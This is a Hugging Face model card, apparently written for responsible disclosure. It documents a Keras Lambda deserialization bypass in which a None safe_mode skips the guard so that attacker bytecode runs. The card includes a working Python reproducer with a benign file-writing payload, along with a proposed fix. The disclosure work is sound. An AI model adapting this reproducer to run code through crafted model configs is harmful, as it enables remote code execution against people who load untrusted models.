kevintsai1202's picture
Add model card for Keras Lambda bypass PoC
b6a1ec5 verified
|
Raw
History Blame Contribute Delete
2.02 kB
---
tags:
- security-research
- vulnerability-poc
license: mit
---
# Keras Lambda safe_mode=None Bypass PoC
**Security Research Only — Do NOT use this model**
## Vulnerability
- **Package**: `keras` (PyPI, v3.14.1)
- **File**: `keras/src/layers/core/lambda_layer.py`
- **Method**: `Lambda._raise_for_lambda_deserialization(safe_mode)`
- **Root cause**: `if safe_mode:` treats `None` as falsy → bypass when no SafeModeScope
## Description
`Lambda.from_config(config, safe_mode=None)` (the default) combined with no active
`SafeModeScope` causes `safe_mode = None or None = None`. The check `if None:` evaluates
to `False`, skipping the safety guard and calling `marshal.loads()` on attacker-controlled
bytecode.
`TFSMLayer.from_config()` correctly uses `if effective_safe_mode is not False:` which
blocks `None`. Lambda diverges from this stronger pattern.
## Minimal Reproducer
```python
from keras.src.layers.core.lambda_layer import Lambda
from keras.src.saving import serialization_lib
import marshal, codecs
# No SafeModeScope active → in_safe_mode() returns None
evil_fn = lambda x: open("pwned.txt", "w").write("RCE") or x
code_b64 = codecs.encode(marshal.dumps(evil_fn.__code__), "base64").decode()
evil_config = {
"name": "evil", "trainable": True,
"dtype": {"module": "keras", "class_name": "DTypePolicy",
"config": {"name": "float32"}, "registered_name": None},
"function": {"class_name": "__lambda__",
"config": {"code": code_b64, "defaults": None, "closure": None}},
"arguments": {},
}
layer = Lambda.from_config(evil_config) # No ValueError → bypass!
import tensorflow as tf
layer(tf.constant([1.0])) # Writes pwned.txt
```
## Fix
```python
# Change in _raise_for_lambda_deserialization:
if safe_mode is not False: # handles None correctly (like TFSMLayer)
raise ValueError(...)
```
*Uploaded by kevintsai1202 for responsible disclosure via Huntr.*